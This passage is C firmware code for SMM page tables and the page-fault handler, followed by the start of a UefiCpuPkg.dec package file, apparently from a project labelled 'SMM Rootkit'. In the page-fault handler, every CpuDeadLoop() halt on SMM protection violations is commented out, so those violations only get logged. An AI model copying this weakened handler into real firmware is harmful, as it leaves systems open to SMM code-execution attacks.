1 sub-entry under this entry 0x1ff means there is 512 sub-entries under this entry **/ UINT64 GetSubEntriesNum ( IN UINT64 *Entry ) { // // Sub-entries number is saved in BIT52 to BIT60 (reserved field) in Entry // return BitFieldRead64 (*Entry, 52, 60); } /** Calculate the maximum support address. @return the maximum support address. **/ UINT8 CalculateMaximumSupportAddress ( VOID ) { UINT32 RegEax; UINT8 PhysicalAddressBits; VOID *Hob; // // Get physical address bits supported. // Hob = GetFirstHob (EFI_HOB_TYPE_CPU); if (Hob != NULL) { PhysicalAddressBits = ((EFI_HOB_CPU *) Hob)->SizeOfMemorySpace; } else { AsmCpuid (0x80000000, &RegEax, NULL, NULL, NULL); if (RegEax >= 0x80000008) { AsmCpuid (0x80000008, &RegEax, NULL, NULL, NULL); PhysicalAddressBits = (UINT8) RegEax; } else { PhysicalAddressBits = 36; } } // // IA-32e paging translates 48-bit linear addresses to 52-bit physical addresses. // ASSERT (PhysicalAddressBits <= 52); if (PhysicalAddressBits > 48) { PhysicalAddressBits = 48; } return PhysicalAddressBits; } /** Set static page table. @param[in] PageTable Address of page table. **/ VOID SetStaticPageTable ( IN UINTN PageTable ) { UINT64 PageAddress; UINTN NumberOfPml4EntriesNeeded; UINTN NumberOfPdpEntriesNeeded; UINTN IndexOfPml4Entries; UINTN IndexOfPdpEntries; UINTN IndexOfPageDirectoryEntries; UINT64 *PageMapLevel4Entry; UINT64 *PageMap; UINT64 *PageDirectoryPointerEntry; UINT64 *PageDirectory1GEntry; UINT64 *PageDirectoryEntry; if (mPhysicalAddressBits <= 39 ) { NumberOfPml4EntriesNeeded = 1; NumberOfPdpEntriesNeeded = (UINT32)LShiftU64 (1, (mPhysicalAddressBits - 30)); } else { NumberOfPml4EntriesNeeded = (UINT32)LShiftU64 (1, (mPhysicalAddressBits - 39)); NumberOfPdpEntriesNeeded = 512; } // // By architecture only one PageMapLevel4 exists - so lets allocate storage for it. // PageMap = (VOID *) PageTable; PageMapLevel4Entry = PageMap; PageAddress = 0; for (IndexOfPml4Entries = 0; IndexOfPml4Entries < NumberOfPml4EntriesNeeded; IndexOfPml4Entries++, PageMapLevel4Entry++) { // // Each PML4 entry points to a page of Page Directory Pointer entries. // PageDirectoryPointerEntry = (UINT64 *) ((*PageMapLevel4Entry) & ~mAddressEncMask & gPhyMask); if (PageDirectoryPointerEntry == NULL) { PageDirectoryPointerEntry = AllocatePageTableMemory (1); ASSERT(PageDirectoryPointerEntry != NULL); ZeroMem (PageDirectoryPointerEntry, EFI_PAGES_TO_SIZE(1)); *PageMapLevel4Entry = (UINT64)(UINTN)PageDirectoryPointerEntry | mAddressEncMask | PAGE_ATTRIBUTE_BITS; } if (m1GPageTableSupport) { PageDirectory1GEntry = PageDirectoryPointerEntry; for (IndexOfPageDirectoryEntries = 0; IndexOfPageDirectoryEntries < 512; IndexOfPageDirectoryEntries++, PageDirectory1GEntry++, PageAddress += SIZE_1GB) { if (IndexOfPml4Entries == 0 && IndexOfPageDirectoryEntries < 4) { // // Skip the < 4G entries // continue; } // // Fill in the Page Directory entries // *PageDirectory1GEntry = PageAddress | mAddressEncMask | IA32_PG_PS | PAGE_ATTRIBUTE_BITS; } } else { PageAddress = BASE_4GB; for (IndexOfPdpEntries = 0; IndexOfPdpEntries < NumberOfPdpEntriesNeeded; IndexOfPdpEntries++, PageDirectoryPointerEntry++) { if (IndexOfPml4Entries == 0 && IndexOfPdpEntries < 4) { // // Skip the < 4G entries // continue; } // // Each Directory Pointer entries points to a page of Page Directory entires. // So allocate space for them and fill them in in the IndexOfPageDirectoryEntries loop. // PageDirectoryEntry = (UINT64 *) ((*PageDirectoryPointerEntry) & ~mAddressEncMask & gPhyMask); if (PageDirectoryEntry == NULL) { PageDirectoryEntry = AllocatePageTableMemory (1); ASSERT(PageDirectoryEntry != NULL); ZeroMem (PageDirectoryEntry, EFI_PAGES_TO_SIZE(1)); // // Fill in a Page Directory Pointer Entries // *PageDirectoryPointerEntry = (UINT64)(UINTN)PageDirectoryEntry | mAddressEncMask | PAGE_ATTRIBUTE_BITS; } for (IndexOfPageDirectoryEntries = 0; IndexOfPageDirectoryEntries < 512; IndexOfPageDirectoryEntries++, PageDirectoryEntry++, PageAddress += SIZE_2MB) { // // Fill in the Page Directory entries // *PageDirectoryEntry = PageAddress | mAddressEncMask | IA32_PG_PS | PAGE_ATTRIBUTE_BITS; } } } } } /** Create PageTable for SMM use. @return The address of PML4 (to set CR3). **/ UINT32 SmmInitPageTable ( VOID ) { EFI_PHYSICAL_ADDRESS Pages; UINT64 *PTEntry; LIST_ENTRY *FreePage; UINTN Index; UINTN PageFaultHandlerHookAddress; IA32_IDT_GATE_DESCRIPTOR *IdtEntry; EFI_STATUS Status; // // Initialize spin lock // InitializeSpinLock (mPFLock); mCpuSmmStaticPageTable = PcdGetBool (PcdCpuSmmStaticPageTable); m1GPageTableSupport = Is1GPageSupport (); DEBUG ((DEBUG_INFO, "1GPageTableSupport - 0x%x\n", m1GPageTableSupport)); DEBUG ((DEBUG_INFO, "PcdCpuSmmStaticPageTable - 0x%x\n", mCpuSmmStaticPageTable)); mPhysicalAddressBits = CalculateMaximumSupportAddress (); DEBUG ((DEBUG_INFO, "PhysicalAddressBits - 0x%x\n", mPhysicalAddressBits)); // // Generate PAE page table for the first 4GB memory space // Pages = Gen4GPageTable (FALSE); // // Set IA32_PG_PMNT bit to mask this entry // PTEntry = (UINT64*)(UINTN)Pages; for (Index = 0; Index < 4; Index++) { PTEntry[Index] |= IA32_PG_PMNT; } // // Fill Page-Table-Level4 (PML4) entry // PTEntry = (UINT64*)AllocatePageTableMemory (1); ASSERT (PTEntry != NULL); *PTEntry = Pages | mAddressEncMask | PAGE_ATTRIBUTE_BITS; ZeroMem (PTEntry + 1, EFI_PAGE_SIZE - sizeof (*PTEntry)); // // Set sub-entries number // SetSubEntriesNum (PTEntry, 3); if (mCpuSmmStaticPageTable) { SetStaticPageTable ((UINTN)PTEntry); } else { // // Add pages to page pool // FreePage = (LIST_ENTRY*)AllocatePageTableMemory (PAGE_TABLE_PAGES); ASSERT (FreePage != NULL); for (Index = 0; Index < PAGE_TABLE_PAGES; Index++) { InsertTailList (&mPagePool, FreePage); FreePage += EFI_PAGE_SIZE / sizeof (*FreePage); } } if (FeaturePcdGet (PcdCpuSmmProfileEnable)) { // // Set own Page Fault entry instead of the default one, because SMM Profile // feature depends on IRET instruction to do Single Step // PageFaultHandlerHookAddress = (UINTN)PageFaultIdtHandlerSmmProfile; IdtEntry = (IA32_IDT_GATE_DESCRIPTOR *) gcSmiIdtr.Base; IdtEntry += EXCEPT_IA32_PAGE_FAULT; IdtEntry->Bits.OffsetLow = (UINT16)PageFaultHandlerHookAddress; IdtEntry->Bits.Reserved_0 = 0; IdtEntry->Bits.GateType = IA32_IDT_GATE_TYPE_INTERRUPT_32; IdtEntry->Bits.OffsetHigh = (UINT16)(PageFaultHandlerHookAddress >> 16); IdtEntry->Bits.OffsetUpper = (UINT32)(PageFaultHandlerHookAddress >> 32); IdtEntry->Bits.Reserved_1 = 0; } else { // // Register Smm Page Fault Handler // Status = SmmRegisterExceptionHandler (&mSmmCpuService, EXCEPT_IA32_PAGE_FAULT, SmiPFHandler); ASSERT_EFI_ERROR (Status); } // // Additional SMM IDT initialization for SMM stack guard // if (FeaturePcdGet (PcdCpuSmmStackGuard)) { InitializeIDTSmmStackGuard (); } // // Return the address of PML4 (to set CR3) // return (UINT32)(UINTN)PTEntry; } /** Set access record in entry. @param[in, out] Entry Pointer to entry @param[in] Acc Access record value **/ VOID SetAccNum ( IN OUT UINT64 *Entry, IN UINT64 Acc ) { // // Access record is saved in BIT9 to BIT11 (reserved field) in Entry // *Entry = BitFieldWrite64 (*Entry, 9, 11, Acc); } /** Return access record in entry. @param[in] Entry Pointer to entry @return Access record value. **/ UINT64 GetAccNum ( IN UINT64 *Entry ) { // // Access record is saved in BIT9 to BIT11 (reserved field) in Entry // return BitFieldRead64 (*Entry, 9, 11); } /** Return and update the access record in entry. @param[in, out] Entry Pointer to entry @return Access record value. **/ UINT64 GetAndUpdateAccNum ( IN OUT UINT64 *Entry ) { UINT64 Acc; Acc = GetAccNum (Entry); if ((*Entry & IA32_PG_A) != 0) { // // If this entry has been accessed, clear access flag in Entry and update access record // to the initial value 7, adding ACC_MAX_BIT is to make it larger than others // *Entry &= ~(UINT64)(UINTN)IA32_PG_A; SetAccNum (Entry, 0x7); return (0x7 + ACC_MAX_BIT); } else { if (Acc != 0) { // // If the access record is not the smallest value 0, minus 1 and update the access record field // SetAccNum (Entry, Acc - 1); } } return Acc; } /** Reclaim free pages for PageFault handler. Search the whole entries tree to find the leaf entry that has the smallest access record value. Insert the page pointed by this leaf entry into the page pool. And check its upper entries if need to be inserted into the page pool or not. **/ VOID ReclaimPages ( VOID ) { UINT64 *Pml4; UINT64 *Pdpt; UINT64 *Pdt; UINTN Pml4Index; UINTN PdptIndex; UINTN PdtIndex; UINTN MinPml4; UINTN MinPdpt; UINTN MinPdt; UINT64 MinAcc; UINT64 Acc; UINT64 SubEntriesNum; BOOLEAN PML4EIgnore; BOOLEAN PDPTEIgnore; UINT64 *ReleasePageAddress; Pml4 = NULL; Pdpt = NULL; Pdt = NULL; MinAcc = (UINT64)-1; MinPml4 = (UINTN)-1; MinPdpt = (UINTN)-1; MinPdt = (UINTN)-1; Acc = 0; ReleasePageAddress = 0; // // First, find the leaf entry has the smallest access record value // Pml4 = (UINT64*)(UINTN)(AsmReadCr3 () & gPhyMask); for (Pml4Index = 0; Pml4Index < EFI_PAGE_SIZE / sizeof (*Pml4); Pml4Index++) { if ((Pml4[Pml4Index] & IA32_PG_P) == 0 || (Pml4[Pml4Index] & IA32_PG_PMNT) != 0) { // // If the PML4 entry is not present or is masked, skip it // continue; } Pdpt = (UINT64*)(UINTN)(Pml4[Pml4Index] & ~mAddressEncMask & gPhyMask); PML4EIgnore = FALSE; for (PdptIndex = 0; PdptIndex < EFI_PAGE_SIZE / sizeof (*Pdpt); PdptIndex++) { if ((Pdpt[PdptIndex] & IA32_PG_P) == 0 || (Pdpt[PdptIndex] & IA32_PG_PMNT) != 0) { // // If the PDPT entry is not present or is masked, skip it // if ((Pdpt[PdptIndex] & IA32_PG_PMNT) != 0) { // // If the PDPT entry is masked, we will ignore checking the PML4 entry // PML4EIgnore = TRUE; } continue; } if ((Pdpt[PdptIndex] & IA32_PG_PS) == 0) { // // It's not 1-GByte pages entry, it should be a PDPT entry, // we will not check PML4 entry more // PML4EIgnore = TRUE; Pdt = (UINT64*)(UINTN)(Pdpt[PdptIndex] & ~mAddressEncMask & gPhyMask); PDPTEIgnore = FALSE; for (PdtIndex = 0; PdtIndex < EFI_PAGE_SIZE / sizeof(*Pdt); PdtIndex++) { if ((Pdt[PdtIndex] & IA32_PG_P) == 0 || (Pdt[PdtIndex] & IA32_PG_PMNT) != 0) { // // If the PD entry is not present or is masked, skip it // if ((Pdt[PdtIndex] & IA32_PG_PMNT) != 0) { // // If the PD entry is masked, we will not PDPT entry more // PDPTEIgnore = TRUE; } continue; } if ((Pdt[PdtIndex] & IA32_PG_PS) == 0) { // // It's not 2 MByte page table entry, it should be PD entry // we will find the entry has the smallest access record value // PDPTEIgnore = TRUE; Acc = GetAndUpdateAccNum (Pdt + PdtIndex); if (Acc < MinAcc) { // // If the PD entry has the smallest access record value, // save the Page address to be released // MinAcc = Acc; MinPml4 = Pml4Index; MinPdpt = PdptIndex; MinPdt = PdtIndex; ReleasePageAddress = Pdt + PdtIndex; } } } if (!PDPTEIgnore) { // // If this PDPT entry has no PDT entries pointer to 4 KByte pages, // it should only has the entries point to 2 MByte Pages // Acc = GetAndUpdateAccNum (Pdpt + PdptIndex); if (Acc < MinAcc) { // // If the PDPT entry has the smallest access record value, // save the Page address to be released // MinAcc = Acc; MinPml4 = Pml4Index; MinPdpt = PdptIndex; MinPdt = (UINTN)-1; ReleasePageAddress = Pdpt + PdptIndex; } } } } if (!PML4EIgnore) { // // If PML4 entry has no the PDPT entry pointer to 2 MByte pages, // it should only has the entries point to 1 GByte Pages // Acc = GetAndUpdateAccNum (Pml4 + Pml4Index); if (Acc < MinAcc) { // // If the PML4 entry has the smallest access record value, // save the Page address to be released // MinAcc = Acc; MinPml4 = Pml4Index; MinPdpt = (UINTN)-1; MinPdt = (UINTN)-1; ReleasePageAddress = Pml4 + Pml4Index; } } } // // Make sure one PML4/PDPT/PD entry is selected // ASSERT (MinAcc != (UINT64)-1); // // Secondly, insert the page pointed by this entry into page pool and clear this entry // InsertTailList (&mPagePool, (LIST_ENTRY*)(UINTN)(*ReleasePageAddress & ~mAddressEncMask & gPhyMask)); *ReleasePageAddress = 0; // // Lastly, check this entry's upper entries if need to be inserted into page pool // or not // while (TRUE) { if (MinPdt != (UINTN)-1) { // // If 4 KByte Page Table is released, check the PDPT entry // Pdpt = (UINT64*)(UINTN)(Pml4[MinPml4] & ~mAddressEncMask & gPhyMask); SubEntriesNum = GetSubEntriesNum(Pdpt + MinPdpt); if (SubEntriesNum == 0) { // // Release the empty Page Directory table if there was no more 4 KByte Page Table entry // clear the Page directory entry // InsertTailList (&mPagePool, (LIST_ENTRY*)(UINTN)(Pdpt[MinPdpt] & ~mAddressEncMask & gPhyMask)); Pdpt[MinPdpt] = 0; // // Go on checking the PML4 table // MinPdt = (UINTN)-1; continue; } // // Update the sub-entries filed in PDPT entry and exit // SetSubEntriesNum (Pdpt + MinPdpt, SubEntriesNum - 1); break; } if (MinPdpt != (UINTN)-1) { // // One 2MB Page Table is released or Page Directory table is released, check the PML4 entry // SubEntriesNum = GetSubEntriesNum (Pml4 + MinPml4); if (SubEntriesNum == 0) { // // Release the empty PML4 table if there was no more 1G KByte Page Table entry // clear the Page directory entry // InsertTailList (&mPagePool, (LIST_ENTRY*)(UINTN)(Pml4[MinPml4] & ~mAddressEncMask & gPhyMask)); Pml4[MinPml4] = 0; MinPdpt = (UINTN)-1; continue; } // // Update the sub-entries filed in PML4 entry and exit // SetSubEntriesNum (Pml4 + MinPml4, SubEntriesNum - 1); break; } // // PLM4 table has been released before, exit it // break; } } /** Allocate free Page for PageFault handler use. @return Page address. **/ UINT64 AllocPage ( VOID ) { UINT64 RetVal; if (IsListEmpty (&mPagePool)) { // // If page pool is empty, reclaim the used pages and insert one into page pool // ReclaimPages (); } // // Get one free page and remove it from page pool // RetVal = (UINT64)(UINTN)mPagePool.ForwardLink; RemoveEntryList (mPagePool.ForwardLink); // // Clean this page and return // ZeroMem ((VOID*)(UINTN)RetVal, EFI_PAGE_SIZE); return RetVal; } /** Page Fault handler for SMM use. **/ VOID SmiDefaultPFHandler ( VOID ) { UINT64 *PageTable; UINT64 *Pml4; UINT64 PFAddress; UINTN StartBit; UINTN EndBit; UINT64 PTIndex; UINTN Index; SMM_PAGE_SIZE_TYPE PageSize; UINTN NumOfPages; UINTN PageAttribute; EFI_STATUS Status; UINT64 *UpperEntry; // // Set default SMM page attribute // PageSize = SmmPageSize2M; NumOfPages = 1; PageAttribute = 0; EndBit = 0; Pml4 = (UINT64*)(AsmReadCr3 () & gPhyMask); PFAddress = AsmReadCr2 (); Status = GetPlatformPageTableAttribute (PFAddress, &PageSize, &NumOfPages, &PageAttribute); // // If platform not support page table attribute, set default SMM page attribute // if (Status != EFI_SUCCESS) { PageSize = SmmPageSize2M; NumOfPages = 1; PageAttribute = 0; } if (PageSize >= MaxSmmPageSizeType) { PageSize = SmmPageSize2M; } if (NumOfPages > 512) { NumOfPages = 512; } switch (PageSize) { case SmmPageSize4K: // // BIT12 to BIT20 is Page Table index // EndBit = 12; break; case SmmPageSize2M: // // BIT21 to BIT29 is Page Directory index // EndBit = 21; PageAttribute |= (UINTN)IA32_PG_PS; break; case SmmPageSize1G: if (!m1GPageTableSupport) { DEBUG ((DEBUG_ERROR, "1-GByte pages is not supported!")); ASSERT (FALSE); } // // BIT30 to BIT38 is Page Directory Pointer Table index // EndBit = 30; PageAttribute |= (UINTN)IA32_PG_PS; break; default: ASSERT (FALSE); } // // If execute-disable is enabled, set NX bit // if (mXdEnabled) { PageAttribute |= IA32_PG_NX; } for (Index = 0; Index < NumOfPages; Index++) { PageTable = Pml4; UpperEntry = NULL; for (StartBit = 39; StartBit > EndBit; StartBit -= 9) { PTIndex = BitFieldRead64 (PFAddress, StartBit, StartBit + 8); if ((PageTable[PTIndex] & IA32_PG_P) == 0) { // // If the entry is not present, allocate one page from page pool for it // PageTable[PTIndex] = AllocPage () | mAddressEncMask | PAGE_ATTRIBUTE_BITS; } else { // // Save the upper entry address // UpperEntry = PageTable + PTIndex; } // // BIT9 to BIT11 of entry is used to save access record, // initialize value is 7 // PageTable[PTIndex] |= (UINT64)IA32_PG_A; SetAccNum (PageTable + PTIndex, 7); PageTable = (UINT64*)(UINTN)(PageTable[PTIndex] & ~mAddressEncMask & gPhyMask); } PTIndex = BitFieldRead64 (PFAddress, StartBit, StartBit + 8); if ((PageTable[PTIndex] & IA32_PG_P) != 0) { // // Check if the entry has already existed, this issue may occur when the different // size page entries created under the same entry // DEBUG ((DEBUG_ERROR, "PageTable = %lx, PTIndex = %x, PageTable[PTIndex] = %lx\n", PageTable, PTIndex, PageTable[PTIndex])); DEBUG ((DEBUG_ERROR, "New page table overlapped with old page table!\n")); ASSERT (FALSE); } // // Fill the new entry // PageTable[PTIndex] = ((PFAddress | mAddressEncMask) & gPhyMask & ~((1ull << EndBit) - 1)) | PageAttribute | IA32_PG_A | PAGE_ATTRIBUTE_BITS; if (UpperEntry != NULL) { SetSubEntriesNum (UpperEntry, GetSubEntriesNum (UpperEntry) + 1); } // // Get the next page address if we need to create more page tables // PFAddress += (1ull << EndBit); } } /** ThePage Fault handler wrapper for SMM use. @param InterruptType Defines the type of interrupt or exception that occurred on the processor.This parameter is processor architecture specific. @param SystemContext A pointer to the processor context when the interrupt occurred on the processor. **/ VOID EFIAPI SmiPFHandler ( IN EFI_EXCEPTION_TYPE InterruptType, IN EFI_SYSTEM_CONTEXT SystemContext ) { UINTN PFAddress; UINTN GuardPageAddress; UINTN CpuIndex; ASSERT (InterruptType == EXCEPT_IA32_PAGE_FAULT); AcquireSpinLock (mPFLock); PFAddress = AsmReadCr2 (); if (mCpuSmmStaticPageTable && (PFAddress >= LShiftU64 (1, (mPhysicalAddressBits - 1)))) { DumpCpuContext (InterruptType, SystemContext); DEBUG ((DEBUG_ERROR, "Do not support address 0x%lx by processor!\n", PFAddress)); //CpuDeadLoop (); } // // If a page fault occurs in SMRAM range, it might be in a SMM stack guard page, // or SMM page protection violation. // if ((PFAddress >= mCpuHotPlugData.SmrrBase) && (PFAddress < (mCpuHotPlugData.SmrrBase + mCpuHotPlugData.SmrrSize))) { //DumpCpuContext (InterruptType, SystemContext); CpuIndex = GetCpuIndex (); GuardPageAddress = (mSmmStackArrayBase + EFI_PAGE_SIZE + CpuIndex * mSmmStackSize); if ((FeaturePcdGet (PcdCpuSmmStackGuard)) && (PFAddress >= GuardPageAddress) && (PFAddress < (GuardPageAddress + EFI_PAGE_SIZE))) { DEBUG ((DEBUG_ERROR, "SMM stack overflow!\n")); } else { if ((SystemContext.SystemContextX64->ExceptionData & IA32_PF_EC_ID) != 0) { DEBUG ((DEBUG_ERROR, "SMM exception at execution (0x%lx)\n", PFAddress)); DEBUG_CODE ( DumpModuleInfoByIp (*(UINTN *)(UINTN)SystemContext.SystemContextX64->Rsp); ); } else { DEBUG ((DEBUG_ERROR, "SMM exception at access (0x%lx)\n", PFAddress)); DEBUG_CODE ( DumpModuleInfoByIp ((UINTN)SystemContext.SystemContextX64->Rip); ); } } //CpuDeadLoop (); } // // If a page fault occurs in non-SMRAM range. // if ((PFAddress < mCpuHotPlugData.SmrrBase) || (PFAddress >= mCpuHotPlugData.SmrrBase + mCpuHotPlugData.SmrrSize)) { if ((SystemContext.SystemContextX64->ExceptionData & IA32_PF_EC_ID) != 0) { //DumpCpuContext (InterruptType, SystemContext); DEBUG ((DEBUG_ERROR, "Code executed on IP(0x%lx) out of SMM range after SMM is locked!\n", PFAddress)); DEBUG_CODE ( DumpModuleInfoByIp (*(UINTN *)(UINTN)SystemContext.SystemContextX64->Rsp); ); //CpuDeadLoop (); } if (IsSmmCommBufferForbiddenAddress (PFAddress)) { //DumpCpuContext (InterruptType, SystemContext); DEBUG ((DEBUG_ERROR, "Access SMM communication forbidden address (0x%lx)!\n", PFAddress)); DEBUG_CODE ( DumpModuleInfoByIp ((UINTN)SystemContext.SystemContextX64->Rip); ); //CpuDeadLoop (); } } // // If NULL pointer was just accessed // if ((PcdGet8 (PcdNullPointerDetectionPropertyMask) & BIT1) != 0 && (PFAddress < EFI_PAGE_SIZE)) { DumpCpuContext (InterruptType, SystemContext); DEBUG ((DEBUG_ERROR, "!!! NULL pointer access !!!\n")); DEBUG_CODE ( DumpModuleInfoByIp ((UINTN)SystemContext.SystemContextX64->Rip); ); //CpuDeadLoop (); } if (FeaturePcdGet (PcdCpuSmmProfileEnable)) { SmmProfilePFHandler ( SystemContext.SystemContextX64->Rip, SystemContext.SystemContextX64->ExceptionData ); } else { SmiDefaultPFHandler (); } ReleaseSpinLock (mPFLock); } /** This function sets memory attribute for page table. **/ VOID SetPageTableAttributes ( VOID ) { UINTN Index2; UINTN Index3; UINTN Index4; UINT64 *L1PageTable; UINT64 *L2PageTable; UINT64 *L3PageTable; UINT64 *L4PageTable; BOOLEAN IsSplitted; BOOLEAN PageTableSplitted; // // Don't do this if // - no static page table; or // - SMM heap guard feature enabled; or // BIT2: SMM page guard enabled // BIT3: SMM pool guard enabled // - SMM profile feature enabled // if (!mCpuSmmStaticPageTable || ((PcdGet8 (PcdHeapGuardPropertyMask) & (BIT3 | BIT2)) != 0) || FeaturePcdGet (PcdCpuSmmProfileEnable)) { // // Static paging and heap guard could not be enabled at the same time. // ASSERT (!(mCpuSmmStaticPageTable && (PcdGet8 (PcdHeapGuardPropertyMask) & (BIT3 | BIT2)) != 0)); // // Static paging and SMM profile could not be enabled at the same time. // ASSERT (!(mCpuSmmStaticPageTable && FeaturePcdGet (PcdCpuSmmProfileEnable))); return ; } DEBUG ((DEBUG_INFO, "SetPageTableAttributes\n")); // // Disable write protection, because we need mark page table to be write protected. // We need *write* page table memory, to mark itself to be *read only*. // AsmWriteCr0 (AsmReadCr0() & ~CR0_WP); do { DEBUG ((DEBUG_INFO, "Start...\n")); PageTableSplitted = FALSE; L4PageTable = (UINT64 *)GetPageTableBase (); SmmSetMemoryAttributesEx ((EFI_PHYSICAL_ADDRESS)(UINTN)L4PageTable, SIZE_4KB, EFI_MEMORY_RO, &IsSplitted); PageTableSplitted = (PageTableSplitted || IsSplitted); for (Index4 = 0; Index4 < SIZE_4KB/sizeof(UINT64); Index4++) { L3PageTable = (UINT64 *)(UINTN)(L4PageTable[Index4] & ~mAddressEncMask & PAGING_4K_ADDRESS_MASK_64); if (L3PageTable == NULL) { continue; } SmmSetMemoryAttributesEx ((EFI_PHYSICAL_ADDRESS)(UINTN)L3PageTable, SIZE_4KB, EFI_MEMORY_RO, &IsSplitted); PageTableSplitted = (PageTableSplitted || IsSplitted); for (Index3 = 0; Index3 < SIZE_4KB/sizeof(UINT64); Index3++) { if ((L3PageTable[Index3] & IA32_PG_PS) != 0) { // 1G continue; } L2PageTable = (UINT64 *)(UINTN)(L3PageTable[Index3] & ~mAddressEncMask & PAGING_4K_ADDRESS_MASK_64); if (L2PageTable == NULL) { continue; } SmmSetMemoryAttributesEx ((EFI_PHYSICAL_ADDRESS)(UINTN)L2PageTable, SIZE_4KB, EFI_MEMORY_RO, &IsSplitted); PageTableSplitted = (PageTableSplitted || IsSplitted); for (Index2 = 0; Index2 < SIZE_4KB/sizeof(UINT64); Index2++) { if ((L2PageTable[Index2] & IA32_PG_PS) != 0) { // 2M continue; } L1PageTable = (UINT64 *)(UINTN)(L2PageTable[Index2] & ~mAddressEncMask & PAGING_4K_ADDRESS_MASK_64); if (L1PageTable == NULL) { continue; } SmmSetMemoryAttributesEx ((EFI_PHYSICAL_ADDRESS)(UINTN)L1PageTable, SIZE_4KB, EFI_MEMORY_RO, &IsSplitted); PageTableSplitted = (PageTableSplitted || IsSplitted); } } } } while (PageTableSplitted); // // Enable write protection, after page table updated. // AsmWriteCr0 (AsmReadCr0() | CR0_WP); return ; } ================================================ FILE: SMM Rootkit/UefiCpuPkg/UefiCpuPkg.dec ================================================ ## @file UefiCpuPkg.dec # This Package provides UEFI compatible CPU modules and libraries. # # Copyright (c) 2007 - 2017, Intel Corporation. All rights reserved.
# # This program and the accompanying materials are licensed and made available under # the terms and conditions of the BSD License which accompanies this distribution. # The full text of the license may be found at # http://opensource.org/licenses/bsd-license.php # # THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, # WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. # ## [Defines] DEC_SPECIFICATION = 0x00010005 PACKAGE_NAME = UefiCpuPkg PACKAGE_UNI_FILE = UefiCpuPkg.uni PACKAGE_GUID = 2171df9b-0d39-45aa-ac37-2de190010d23 PACKAGE_VERSION = 0.90 [Includes] Include [LibraryClasses] ## @libraryclass Defines some routines that are generic for IA32 family CPU ## to be UEFI specification compliant. ## UefiCpuLib|Include/Library/UefiCpuLib.h ## @libraryclass Defines some routines that are used to register/manage/program ## CPU features. ## RegisterCpuFeaturesLib|Include/Library/RegisterCpuFeaturesLib.h [LibraryClasses.IA32, LibraryClasses.X64] ## @libraryclass Provides functions to manage MTRR settings on IA32 and X64 CPUs. ## MtrrLib|Include/Library/MtrrLib.h ## @libraryclass Provides functions to manage the Local APIC on IA32 and X64 CPUs. ## LocalApicLib|Include/Library/LocalApicLib.h ## @libraryclass Provides platform specific initialization functions in the SEC phase. ## PlatformSecLib|Include/Library/PlatformSecLib.h ## @libraryclass Public include file for the SMM CPU Platform Hook Library. ## SmmCpuPlatformHookLib|Include/Library/SmmCpuPlatformHookLib.h ## @libraryclass Provides the CPU specific programming for PiSmmCpuDxeSmm module. ## SmmCpuFeaturesLib|Include/Library/SmmCpuFeaturesLib.h ## @libraryclass Provides functions to support MP services on CpuMpPei and CpuDxe module. ## MpInitLib|Include/Library/MpInitLib.h [Guids] gUefiCpuPkgTokenSpaceGuid = { 0xac05bf33, 0x995a, 0x4ed4, { 0xaa, 0xb8, 0xef, 0x7a, 0xe8, 0xf, 0x5c, 0xb0 }} gMsegSmramGuid = { 0x5802bce4, 0xeeee, 0x4e33, { 0xa1, 0x30, 0xeb, 0xad, 0x27, 0xf0, 0xe4, 0x39 }} ## Include/Guid/CpuFeaturesSetDone.h gEdkiiCpuFeaturesSetDoneGuid = { 0xa82485ce, 0xad6b, 0x4101, { 0x99, 0xd3, 0xe1, 0x35, 0x8c, 0x9e, 0x7e, 0x37 }} ## Include/Guid/CpuFeaturesInitDone.h gEdkiiCpuFeaturesInitDoneGuid = { 0xc77c3a41, 0x61ab, 0x4143, { 0x98, 0x3e, 0x33, 0x39, 0x28, 0x6, 0x28, 0xe5 }} [Protocols] ## Include/Protocol/SmmCpuService.h gEfiSmmCpuServiceProtocolGuid = { 0x1d202cab, 0xc8ab, 0x4d5c, { 0x94, 0xf7, 0x3c, 0xfc, 0xc0, 0xd3, 0xd3, 0x35 }} ## Include/Protocol/SmMonitorInit.h gEfiSmMonitorInitProtocolGuid = { 0x228f344d, 0xb3de, 0x43bb, { 0xa4, 0xd7, 0xea, 0x20, 0xb, 0x1b, 0x14, 0x82 }} # # [Error.gUefiCpuPkgTokenSpaceGuid] # 0x80000001 | Invalid value provided. # [PcdsFeatureFlag] ## Indicates if SMM Profile will be enabled. # If enabled, instruction executions in and data accesses to memory outside of SMRAM will be logged. # It could not be enabled at the same time with SMM static page table feature (PcdCpuSmmStaticPageTable). # This PCD is only for validation purpose. It should be set to false in production.

# TRUE - SMM Profile will be enabled.
# FALSE - SMM Profile will be disabled.
# @Prompt Enable SMM Profile. gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmProfileEnable|FALSE|BOOLEAN|0x32132109 ## Indicates if the SMM profile log buffer is a ring buffer. # If disabled, no additional log can be done when the buffer is full.

# TRUE - the SMM profile log buffer is a ring buffer.
# FALSE - the SMM profile log buffer is a normal buffer.
# @Prompt The SMM profile log buffer is a ring buffer. gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmProfileRingBuffer|FALSE|BOOLEAN|0x3213210a ## Indicates if SMM Startup AP in a blocking fashion. # TRUE - SMM Startup AP in a blocking fashion.
# FALSE - SMM Startup AP in a non-blocking fashion.
# @Prompt SMM Startup AP in a blocking fashion. gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmBlockStartupThisAp|FALSE|BOOLEAN|0x32132108 ## Indicates if SMM Stack Guard will be enabled. # If enabled, stack overflow in SMM can be caught, preventing chaotic consequences.

# TRUE - SMM Stack Guard will be enabled.
# FALSE - SMM Stack Guard will be disabled.
# @Prompt Enable SMM Stack Guard. gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmStackGuard|TRUE|BOOLEAN|0x1000001C ## Indicates if BSP election in SMM will be enabled. # If enabled, a BSP will be dynamically elected among all processors in each SMI. # Otherwise, processor 0 is always as BSP in each SMI.

# TRUE - BSP election in SMM will be enabled.
# FALSE - BSP election in SMM will be disabled.
# @Prompt Enable BSP election in SMM. gUefiCpuPkgTokenSpaceGuid.PcdCpuSmmEnableBspElection|TRUE|BOOLEAN|0x32132106 ## Indicates if CPU SMM hot-plug will be enabled.

# TRUE - SMM CPU hot-plug will be enabled.
# FALSE - SMM CPU hot-plug will be disabled.
